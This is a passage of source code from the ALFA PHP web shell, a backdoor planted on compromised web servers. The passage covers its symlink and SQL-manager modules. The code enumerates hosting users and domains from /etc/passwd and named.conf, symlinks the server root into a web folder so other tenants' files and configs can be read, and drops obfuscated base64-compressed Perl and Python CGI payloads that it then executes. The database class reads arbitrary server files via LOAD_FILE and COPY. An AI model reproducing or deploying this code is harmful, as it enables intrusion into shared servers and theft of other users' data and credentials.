  4251. }
  4252. echo "</div>";
  4253. alfafooter();
  4254. }
  4255. function alfaMakePwd(){
  4256. if(_alfa_file_exists("/etc/virtual/domainowners")||(_alfa_file_exists("/etc/named.conf")&&_alfa_file_exists("/etc/valiases"))){
  4257. return "/home/{user}/public_html/";
  4258. }
  4259. $document = explode("/", $_SERVER["DOCUMENT_ROOT"]);
  4260. $public = end($document);
  4261. array_pop($document);
  4262. array_pop($document);
  4263. $path = implode("/", $document) . "/{user}/" . $public;
  4264. return $path;
  4265. }
  4266. function alfaGetDomains($state = false){
  4267. $state = "named.conf";
  4268. $lines = array();
  4269. $lines = _alfa_file('/etc/named.conf');
  4270. if(!$lines){
  4271. $lines = @scandir("/etc/valiases/");
  4272. $state = "valiases";
  4273. if(!$lines){
  4274. $lines = @scandir("/var/named");
  4275. $state = "named";
  4276. if(!$lines && $state){
  4277. $lines = _alfa_file('/etc/passwd');
  4278. $state = "passwd";
  4279. }
  4280. }
  4281. }
  4282. return array("lines" => $lines, "state" => $state);
  4283. }
  4284. function alfaCreateParentFolder(){
  4285. $parent = $GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__;
  4286. if(!@is_dir($parent)){
  4287. @mkdir($parent, 0755, true);
  4288. }
  4289. }
  4290. function alfasymlink(){
  4291. alfahead();
  4292. AlfaNum(9,10);
  4293. alfaCreateParentFolder();
  4294. @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
  4295. echo '<div class=header><br><center><div class="txtfont_header">| Symlink |</div><center><h3><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symphp\')">| Symlink( php ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'symperl\')">| Symlink( perl ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,\'sympy\')">| Symlink( python ) | </a><a href=javascript:void(0) onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a></h3></center>';
  4296. if(isset($_POST['alfa2'])&&($_POST['alfa2']=='symperl'||$_POST["alfa2"]=="sympy")){
  4297. $sympath = alfaMakePwd();
  4298. @mkdir('cgialfa',0755);
  4299. @chdir('cgialfa');
  4300. alfacgihtaccess('cgi');
  4301. $perl = '#!/usr/bin/perl -I/usr/local/bandmin'."\n".'use MIME::Base64;use Compress::Zlib;my $alfa_data="'.__ALFA_DATA_FOLDER__.'";eval(Compress::Zlib::memGunzip(decode_base64("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")));';
  4302. $py = '#!/usr/bin/python'."\nimport zlib, base64\nalfa_data='".__ALFA_DATA_FOLDER__."'\n".'eval(compile(zlib.decompress(base64.b64decode("eJydWN1z4jgSfzZ/hdZTWcOG2JC6vQdC2MrNTO6manfn6ib7lFAuYQvwjrFckgiwU3N/+3XrwxbgZKbOD1iW+lvdP7VQ4jDpEXiKTc2FItmqUAs9oUcxq+iiZP1Bj+0zVqtJL6iplL2eJVfFhrkxl24kD81QNMv1Lu/1ViVf0DKFMbklYei+t6I03x8+pW//+QHG97SUrKecdUd8ID6mYvX8OJ77i0aIVKJPyyVNc6rogFySMAFPcCYJGyeQq1H1ILas18vZkqyYQhX9mssBeFosGyJrEEwGgqmtqDyLNCGwIFWYF4JlKiRckD6XcU3VOi7ksoAYhglTWVLRDcvjjFfLcEBolZOWCngt0TMtCyqZTMLBwNMZJmu+YcmXrWTia1JvF2WRpWu1KcG1ALjBBBTHqudC8OoxfPfx7R+/vf/9If3Px48P4TyWdVkoUBEOYBs1NzAgX1zzGvY48MdO54V0Ci9kSC4I8sd/8qLqI/VgSIykgQnhhn5msAMZ31ZqSHK+oUU1JMg/JNkuR2/WStW42/ieJEl4iVtmKAc6lmasw/n4Cz7zEINg+aI/6TOVmShgI2nJBDi0YySjlSLLAuJpuOM4DgcRuCkKWAinSkBmHEp2Gym2V1cQ31U1yVilmLiJZlOVz6ZLDpQZL7m4jd7cwzMaRzNjnXZncBlOEySaTROkV3mHyJItFQqkZC3Y8jYy/Gg6sEdEQd4ydRuli5JWn6MTpaPR3fX1yCm1IfG00kZzh7X3944Ro31u7KlNbdUALdaHPGzKovqc4Lg+2K9Y7ZWNAezeZZh8ywcIGzzR7JPhP7M9UWIG2aqTJeepVeNKbnOwNe6XYi+A3U0Fo3mqq8fVbFDIFDJdbWnZTD1T0RAZDAlMHPmuYrpA7CwTAmq0+XQ8j/NeAAYxacf5At3MPpeFVHbKq3bNpZPzyBQr89xst6BxLQgaTbxmVQc+xMisabAgA4Ne5L1+FbzSIpyoVpaM0dhOMEHCTimtmG45EFZjmZERHMXZRP5F0U2oDR0rz+Fy8npMbGQTfyfPonO6z9aq14PmXDgPmlX5Wsw699wPZSP9u7b3xfi9mEYnkYW46glkO0nvQAechHh47/LwJng94JbsuxLwZRss9toSJ+9xHnEZc8CcpQ06Y5NBFlzkDDBkHDlgXUDlrQSAb36l8WXyZqSfmw1gUFFNRoRuFdcAvgZLZ/83zP90BpadwPxOp5h8ndiB8R8Aw98k7QZLB5TwY/1a8PyAuBnsIdRjeC8h6LgzBE5KvUPNXgIBvmIA7aI2mUXzXDAp7QrO6DLBjHj8AZ85ig4A4lPFNrXpxTDDu6BOT3v17/VG8EhGRbYGCQIs0ON+FP/0y18cDAv7MBqE5Es01IZYLAFxhtKK8Mw18zHmQN0fW3rWagugklRROfxpF1oRdgSpXAOQQxsW54twCA4aadiaoSPo8zFcmnbHsju/T3o6xz2watvabyIMp1gMp1m92xY5toRSUdXywWcKC4O43ul4Wg+7geBFb/35dho74CYZTOs3sV6DJ2BA3/TIU3LdIadxAIkeR/PecVj17HjupPnga4Ud8Y/nfj6eCRodL3t5Z6Fo0qQKIIa2+/F6jqb/PBp1RsfT0HSRZqHpfE2z4ULzNXFnm18GFy4PjM6f567fBY8suVcoP5wa7Imy2po0NE01ZKKOk5FlRZ0APt4STsKB94v2+JnYTK7y4+NBg4RObgAJLcs7mIAQX8fbUqUYtqb+O6xxwa7S7610neeWC8Q5Rieo1elWTsrdcmmiQpLfQX7De7LnmB4nUfHlN/UlWpU4aDflKhyG+thzWKG/vXxOoWywpqB4zL6RKw3H8Jz2iQ4xkOxxNGnY57iRxoKjaWdvvjCJB3l3YZQMrZ1eFIEI9rRR2QTkOB6BvY7tnQSbbfouphPTidyTy1vnSJtJTWfneRfTGhqFvJ8vmlp19McnQau7KcCX1LfaPfTqCIOt6UaxiYLfo3cBWWuI5X/BDC8Gvshjh13LkpgjGd7Yu8DRDHcasCjVVZKmuljTFEExTREMvL8TvM7nLdgJ3cmVOtRsQrBnSfA+/1Q9VVMczKb2/C8UKHnLMcyLA7n79f6OPLC730C9XpnqrmdGv+i2J2cZF1QfHBVUy83XaWLWp4kRh6aTxaptb0wbEjaGRdO8eLatFGBOnhfVajIe1fsb23pdLbhSfGPmTOM2Gdd7QHO5BhvfLPVzY7u25VJ3bec9GfY7VztWrNZqsuBlbiZk8RebXP8dJIetz5JDiyhpTn6EPX8uZIEt43+JbZ3IPw7k3we15tU0AdNncPW3ZzEeuQcJu9wPxYZciSXxLru6toECUwT/zuhH3mJkF7M13gtOVpxkc30NE2wpzm/Omm6taJbZo+iN8Qes/YT+fNL+fHD+PFUf9XkvYSpne2jL73lZ8h04+SuIlE/VO31h4uKgCXRQLG9cQ8I8VXd5/gDJZHIJUAzqo17XBJMJf/Djb6Q2SQa0/4LDpYRj+tvkmByb5poQO6cAIHeXOoybeCcKxfpuxcxlJZf4/2Gvq3167Xp3DCfeXwVhexFlXcv2Tgnrp23UEO8m/r3DZCFUT00rd3EwKStYDheGC+jfcQ0Kx5JiKwBC/gejBmkk")),\'<string>\',\'exec\'))';
  4303. $cginame = "symperl.alfa";
  4304. $source = $perl;
  4305. $lang = "perl";
  4306. if($_POST["alfa2"]=="sympy"){
  4307. $cginame = "pysymlink.alfa";
  4308. $source = $py;
  4309. $lang = "python";
  4310. }
  4311. @__write_file($cginame,$source);
  4312. @chmod($cginame,0755);
  4313. echo __pre();
  4314. $resource = alfaEx("{$lang} {$cginame} {$sympath}",false,true,true);
  4315. if(strlen($resource) == 0){
  4316. echo AlfaiFrameCreator('cgialfa/'.$cginame);
  4317. }else{
  4318. echo $resource;
  4319. }
  4320. }
  4321. if(isset($_POST['alfa4']) && $_POST['alfa4']=='SymFile'){
  4322. if(function_exists('symlink')||_alfa_can_runCommand(true,true)){
  4323. AlfaNum(9,10);
  4324. echo __pre().'
  4325. <center><p><div class="txtfont_header">| Symlink File And Directory |</div></p><form onSubmit="g(\'symlink\',null,null,null,null,\'SymFile\',this.file.value,this.symfile.value,this.symlink.value);return false;" method="post">
  4326. <input type="text" name="file" placeholder="Example : /home/user/public_html/config.php" size="60"/><br />
  4327. <input type="text" name="symfile" placeholder="Example : alfa.txt" size="60"/>
  4328. <p><input type="submit" value=" " name="symlink" /></p></form></center>';
  4329. $path = $_POST['alfa5'];
  4330. $symname = $_POST['alfa6'];
  4331. $solevisible58 = $_POST['alfa7'];
  4332. if($solevisible58){
  4333. $new_name = str_replace(".", "_", basename($symname));
  4334. $rand_dir = $new_name.rand(111,9999);
  4335. $sym_dir = 'alfasymlinkphp/'.$rand_dir.'/';
  4336. @mkdir($sym_dir, 0777, true);
  4337. alfacgihtaccess('sym', $sym_dir, $symname);
  4338. _alfa_symlink("$path","$sym_dir/$symname");
  4339. echo __pre();
  4340. echo '<center><b><font color="white">Click >> </font><a target="_blank" href="'.__ALFA_DATA_FOLDER__."/".$sym_dir.'" ><b><font size="4">'.$symname.'</font></b></a></b></center>';
  4341. }
  4342. }else{echo "<center><pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";}
  4343. }
  4344. if(isset($_POST['alfa2']) && $_POST['alfa2']=='symphp'){
  4345. $cant_symlink = true;
  4346. if(function_exists('symlink')||_alfa_can_runCommand(false,false)){
  4347. @mkdir('alfasymlink',0777);
  4348. alfacgihtaccess('sym','alfasymlink/');
  4349. _alfa_symlink('/','alfasymlink/root');
  4350. $table_header = "<pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><table id='tbl_sympphp' align='center' width='40%' class='main' border='1'><td><span style='color:#FFFF01;'><b>*</span></b></td><td><span style='color:#00A220;'><b>Domains</span></b></td><td><span style='color:#FFFFFF;'><b>Users</span></b></td><td><span style='color:#FF0000;'><b>symlink</span></b></td>";
  4351. if(_alfa_file_exists("/etc/named.conf") && !_alfa_file_exists("/etc/virtual/domainowners") && _alfa_file_exists("/etc/valiases/")){
  4352. echo "<center>";
  4353. $lines = array();
  4354. $anony_domains = array();
  4355. $anonymous_users = array();
  4356. $f_black = array();
  4357. $error = false;
  4358. $anonymous = false;
  4359. $makepwd = "/home/{user}/public_html/";
  4360. $domains = alfaGetDomains();
  4361. $lines = $domains["lines"];
  4362. $state = $domains["state"];
  4363. $is_posix = function_exists("posix_getpwuid") && function_exists("fileowner");
  4364. $can_runcmd = _alfa_can_runCommand(false,false);
  4365. if(!$is_posix && !$can_runcmd){
  4366. $anonymous = true;
  4367. $anony_domains = $domains["lines"];
  4368. $lines = _alfa_file('/etc/passwd');
  4369. }
  4370. echo $table_header;
  4371. $count=1;
  4372. $template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="{http}"/><span style="color:#00A220;margin-left:10px;"><b>{domain}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{owner}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{sympath}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
  4373. foreach($lines as $line){
  4374. $domain = "";
  4375. $owner = "";
  4376. if($anonymous){
  4377. $explode = explode(":", $line);
  4378. $owner = $explode[0];
  4379. $owner_len = strlen($owner) - 1;
  4380. $userid = $explode[2];
  4381. if((int)$userid < 500)continue;
  4382. $domain = "[?????]";
  4383. $temp_black = array();
  4384. $finded = false;
  4385. foreach($anony_domains as $anony){
  4386. if($state == "named.conf"){
  4387. if(@strstr($anony, 'zone')){
  4388. preg_match_all('#zone "(.*)"#',$anony, $data);
  4389. $domain = $data[1][0];
  4390. }else{
  4391. continue;
  4392. }
  4393. }elseif($state == "named" || $state == "valiases"){
  4394. if($anony == "." || $anony == "..")continue;
  4395. if($state == "named")$anony = rtrim($anony, ".db");
  4396. $domain = $anony;
  4397. }
  4398. $sub_domain = str_replace(array("-","."), "", $domain);
  4399. if(substr($owner, 0, $owner_len) == substr($sub_domain, 0, $owner_len)){
  4400. if(in_array($owner.$domain, $temp_black))continue;
  4401. $sympath = str_replace("{user}", $owner, $makepwd);
  4402. $http = "http://".$domain;
  4403. echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
  4404. $count++;
  4405. $temp_black[] = $owner.$domain;
  4406. $finded = true;
  4407. }
  4408. }
  4409. if(!$finded){
  4410. $anonymous_users[] = $owner;
  4411. }
  4412. }else{
  4413. if($state == "named.conf"){
  4414. if(@strstr($line, 'zone')){
  4415. preg_match_all('#zone "(.*)"#',$line, $data);
  4416. $domain = $data[1][0];
  4417. }else{
  4418. continue;
  4419. }
  4420. }elseif($state == "named" || $state == "valiases"){
  4421. if($line == "." || $line == "..")continue;
  4422. if($state == "named")$line = rtrim($line, ".db");
  4423. $domain = $line;
  4424. }
  4425. if(strlen(trim($domain)) > 2 && $state != "passwd"){
  4426. if(!_alfa_file_exists('/etc/valiases/'.$domain, false))continue;
  4427. if($is_posix){
  4428. $user = @posix_getpwuid(@fileowner('/etc/valiases/'.$domain));
  4429. $owner = $user["name"];
  4430. }elseif($can_runcmd){
  4431. $owner = alfaEx("stat -c '%U' /etc/valiases/".$domain,false,false);
  4432. }
  4433. }
  4434. }
  4435. if(!$anonymous){
  4436. if(strlen($owner)==0 || in_array($owner.$domain, $f_black))continue;
  4437. $sympath = str_replace("{user}", $owner, $makepwd);
  4438. $http = "http://".$domain;
  4439. if($state == "passwd"){
  4440. $http = "javascript:alert('we cant find domain...')";
  4441. }
  4442. echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, $domain, $owner, $sympath), $template);
  4443. $count++;
  4444. $f_black[] = $owner.$domain;
  4445. }
  4446. }
  4447. if($anonymous){
  4448. foreach($anonymous_users as $owner){
  4449. $sympath = str_replace("{user}", $owner, $makepwd);
  4450. $http = "javascript:alert('we cant find domain...')";
  4451. echo str_replace(array("{count}", "{http}", "{domain}", "{owner}", "{sympath}"), array($count, $http, "[????]", $owner, $sympath), $template);
  4452. $count++;
  4453. }
  4454. }
  4455. $cant_symlink = false;
  4456. }else{
  4457. $is_direct = false;
  4458. $makepwd = alfaMakePwd();
  4459. if(_alfa_file_exists("/etc/virtual/domainowners")){
  4460. $makepwd = "/home/{user}/public_html";
  4461. $is_direct = true;
  4462. }
  4463. $sole = _alfa_file("/etc/virtual/domainowners");
  4464. $count=1;
  4465. echo $table_header;
  4466. $template = '<tr><td><span style="color:#FFFF01;">{count}</span></td><td style="text-align:left;"><a target="_blank" href="http://www.{url}"/><span style="color:#00A220;margin-left:10px;"><b>{url}</b> </a></span></td><td style="text-align:left;"><span style="color:#FFFFFF;margin-left:10px;"><b>{user}</font></b></td><td><a href="'.__ALFA_DATA_FOLDER__.'/alfasymlink/root{cwd}" target="_blank"><span style="color:#FF0000;">Symlink</span></a></td></tr>';
  4467. if($sole){
  4468. foreach($sole as $visible){
  4469. if(@strstr($visible,":")){
  4470. $solevisible = explode(':', $visible);
  4471. $cwd = str_replace("{user}", trim($solevisible[1]), $makepwd);
  4472. echo str_replace(array("{count}","{user}","{url}","{cwd}"), array($count++, trim($solevisible[1]), trim($solevisible[0]), $cwd), $template);
  4473. }
  4474. }
  4475. }else{
  4476. $passwd = _alfa_file("/etc/passwd");
  4477. if($passwd){
  4478. $html = "";
  4479. $is_named = false;
  4480. $users = array();
  4481. $domains = array();
  4482. $uknowns = array();
  4483. foreach($passwd as $user){
  4484. $user = trim($user);
  4485. $expl = explode(":", $user);
  4486. if((int)$expl[2] < 500)continue;
  4487. $users[$expl[0]] = $expl[5];
  4488. }
  4489. $site_domains = @scandir("/etc/virtual/");
  4490. if(!$site_domains){
  4491. $site_domains = alfaEx("ls /etc/virtual/");
  4492. $site_domains = explode("\n", $site_domains);
  4493. if(!$site_domains){
  4494. $site_domains = _alfa_file("/etc/named.conf");
  4495. if($site_domains){$is_named = true;}
  4496. }
  4497. }
  4498. foreach($site_domains as $line){
  4499. if($is_named){
  4500. if(@strstr($line, 'zone')){
  4501. preg_match_all('#zone "(.*)"#',$line, $data);
  4502. $domain = $data[1][0];
  4503. if(strlen($domain > 2) && !empty($domain)){
  4504. $domains[] = $domain;
  4505. }
  4506. }
  4507. }else{
  4508. $domains[] = $line;
  4509. }
  4510. }
  4511. $x = 1;
  4512. foreach($users as $user => $home){
  4513. foreach($domains as $domain){
  4514. $user_len = strlen($user) - 1;
  4515. $sub_domain = str_replace(array("-","."), "", $domain);
  4516. $five_user = substr($user, 0,$user_len);
  4517. $five_domain = substr($sub_domain, 0,$user_len);
  4518. if($five_user == $five_domain){
  4519. if($is_direct){
  4520. $cwd = str_replace("{user}", $user, $makepwd);
  4521. }else{
  4522. $expl = explode("}/", $makepwd);
  4523. $cwd = $home."/".$expl[1];
  4524. }
  4525. $html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, $domain, $cwd), $template);
  4526. }else{
  4527. $uknowns[$user] = $home;
  4528. }
  4529. }
  4530. }
  4531. $uknowns = array_unique($uknowns);
  4532. foreach($uknowns as $user => $home){
  4533. if($is_direct){
  4534. $cwd = str_replace("{user}", $user, $makepwd);
  4535. }else{
  4536. $expl = explode("}/", $makepwd);
  4537. $cwd = $home."/".$expl[1];
  4538. }
  4539. $html .= str_replace(array("{count}","{user}","{url}", "{cwd}"), array($x++, $user, "[?????]", $cwd), $template);
  4540. }
  4541. echo($html);
  4542. }
  4543. }
  4544. echo "</table>";
  4545. $cant_symlink = false;
  4546. }
  4547. }else{
  4548. echo "<pre class=ml1 style='margin-top:5px'><b><font color=\"#FFFFFF\">[+] Symlink Function Disabled !</b></font></pre></center>";
  4549. $cant_symlink = false;
  4550. }
  4551. if($cant_symlink)echo '<pre id="strOutput" style="margin-top:5px" class="ml1"><br><font color="#FFFFFF">Error...</font></b><br>';
  4552. echo "</center></table>";
  4553. }
  4554. echo "</div>";
  4555. alfafooter();
  4556. }
  4557. function alfasql(){
  4558. class DbClass{
  4559. public $type;
  4560. public $link;
  4561. public $res;
  4562. public $mysqli_connect_error = false;
  4563. public $mysqli_connect_error_msg = "";
  4564. function __construct($type){
  4565. $this->type = $type;
  4566. }
  4567. function connect($host, $user, $pass, $dbname){
  4568. switch($this->type){
  4569. case 'mysql':
  4570. if($this->link = @mysqli_connect($host,$user,$pass,$dbname)){
  4571. return true;
  4572. }else{
  4573. $this->mysqli_connect_error = true;
  4574. $this->mysqli_connect_error_msg = mysqli_connect_error();
  4575. return false;
  4576. }
  4577. break;
  4578. case 'pgsql':
  4579. $host = explode(':', $host);
  4580. if(!$host[1]) $host[1]=5432;
  4581. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  4582. break;
  4583. }
  4584. return false;
  4585. }
  4586. function selectdb($db){
  4587. switch($this->type){
  4588. case 'mysql':
  4589. if(@mysqli_select_db($db))return true;
  4590. break;
  4591. }
  4592. return false;
  4593. }
  4594. function query($str){
  4595. switch($this->type){
  4596. case 'mysql':
  4597. return $this->res = @mysqli_query($this->link,$str);
  4598. break;
  4599. case 'pgsql':
  4600. return $this->res = @pg_query($this->link,$str);
  4601. break;
  4602. }
  4603. return false;
  4604. }
  4605. function fetch(){
  4606. $res = func_num_args()?func_get_arg(0):$this->res;
  4607. switch($this->type){
  4608. case 'mysql':
  4609. return @mysqli_fetch_assoc($res);
  4610. break;
  4611. case 'pgsql':
  4612. return @pg_fetch_assoc($res);
  4613. break;
  4614. }
  4615. return false;
  4616. }
  4617. function listDbs(){
  4618. switch($this->type){
  4619. case 'mysql':
  4620. return $this->query("SHOW databases");
  4621. break;
  4622. case 'pgsql':
  4623. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  4624. break;
  4625. }
  4626. return false;
  4627. }
  4628. function listTables(){
  4629. switch($this->type){
  4630. case 'mysql':
  4631. return $this->res = $this->query('SHOW TABLES');
  4632. break;
  4633. case 'pgsql':
  4634. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  4635. break;
  4636. }
  4637. return false;
  4638. }
  4639. function error(){
  4640. switch($this->type){
  4641. case 'mysql':
  4642. return @mysqli_error($this->link);
  4643. break;
  4644. case 'pgsql':
  4645. return @pg_last_error();
  4646. break;
  4647. }
  4648. return false;
  4649. }
  4650. function setCharset($str){
  4651. switch($this->type){
  4652. case 'mysql':
  4653. if(function_exists('mysql_set_charset'))
  4654. return @mysqli_set_charset($this->link,$str);
  4655. else
  4656. $this->query('SET CHARSET '.$str);
  4657. break;
  4658. case 'pgsql':
  4659. return @pg_set_client_encoding($this->link, $str);
  4660. break;
  4661. }
  4662. return false;
  4663. }
  4664. function loadFile($str){
  4665. switch($this->type){
  4666. case 'mysql':
  4667. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  4668. break;
  4669. case 'pgsql':
  4670. $this->query("CREATE TABLE solevisible(file text);COPY solevisible FROM '".addslashes($str)."';select file from solevisible;");
  4671. $r=array();
  4672. while($i=$this->fetch())
  4673. $r[] = $i['file'];
  4674. $this->query('drop table solevisible');
  4675. return array('file'=>implode("\n",$r));
  4676. break;
  4677. }
  4678. return false;
  4679. }
  4680. };
  4681. $db = new DbClass($_POST['type']);
  4682. alfahead();
  4683. $form_visibility = "table";
  4684. if(isset($_POST['sql_host'])){
  4685. $connection_db = $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  4686. if($connection_db && !empty($_POST['sql_base'])){
  4687. $form_visibility = "none";
  4688. }
  4689. }
  4690. $database_list = array();
  4691. echo "
  4692. <div class='header' style='min-height:300px;'>".($form_visibility!="none"?"<center><div class='txtfont_header'>| Sql Manager |</div><p>".getConfigHtml('all')."</p></center><div style='text-align:center;margin-bottom: 10px;'><button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History</button><div class='connection_history_holder'></div></div>":"")."
  4693. <div class='sf' class='db-opt-id'><table style='margin: 0 auto;".($form_visibility=="none"?"display:none;":"")."' cellpadding='2' cellspacing='0'><tr>
  4694. <td><div class=\"txtfont\">TYPE</div></td><td><div class=\"txtfont\">HOST</div></td><td><div class=\"txtfont\">DB USER</div></td><td><div class=\"txtfont\">DB PASS</div></td><td><div class=\"txtfont\">DB NAME</div></td><td></td></tr><tr>
  4695. <td><select name='type'><option value='mysql' selected>mysql</option></select></td>
  4696. <td><input type='text' name='sql_host' id='db_host' value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
  4697. <td><input type='text' name='sql_login' id='db_user' value='". (empty($_POST['sql_login'])?'':htmlspecialchars($_POST['sql_login'])) ."'></td>
  4698. <td><input type='text' name='sql_pass' id='db_pw' value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
  4699. $tmp = "<input type='text' name='sql_base' id='db_name' value='". (empty($_POST['sql_base'])?'':htmlspecialchars($_POST['sql_base'])) ."'>";
  4700. if(isset($_POST['sql_host'])){
  4701. if($connection_db){
  4702. $db->setCharset('utf8');
  4703. $db->listDbs();
  4704. echo "<select name=sql_base><option value=''></option>";
  4705. while($item = $db->fetch()) {
  4706. list($key, $value) = each($item);
  4707. $database_list[] = $value;
  4708. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  4709. }
  4710. echo '</select>';
  4711. }else{
  4712. echo $tmp;
  4713. }
  4714. }else
  4715. echo $tmp;
  4716. $curr_mysql_id = $_POST['current_mysql_id'];
  4717. echo "</td>
  4718. <td><button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect</button></td>
  4719. <td><input type='checkbox' name='sql_count' value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <div class=\"txtfont\">count the number of rows</div></td>
  4720. </tr>
  4721. </table>";
  4722. if($db->mysqli_connect_error){
  4723. echo '<div style="text-align: center;font-size: 17px;margin-top: 18px;">'.$db->mysqli_connect_error_msg.'</div>';
  4724. }
  4725. if(!empty($curr_mysql_id)){
  4726. $sql_title_db = "";
  4727. if(!empty($_POST['sql_base'])){
  4728. $sql_title_db = "d.querySelector('#tab_".$curr_mysql_id." span').innerHTML='".addslashes($_POST['sql_base'])."';";
  4729. }
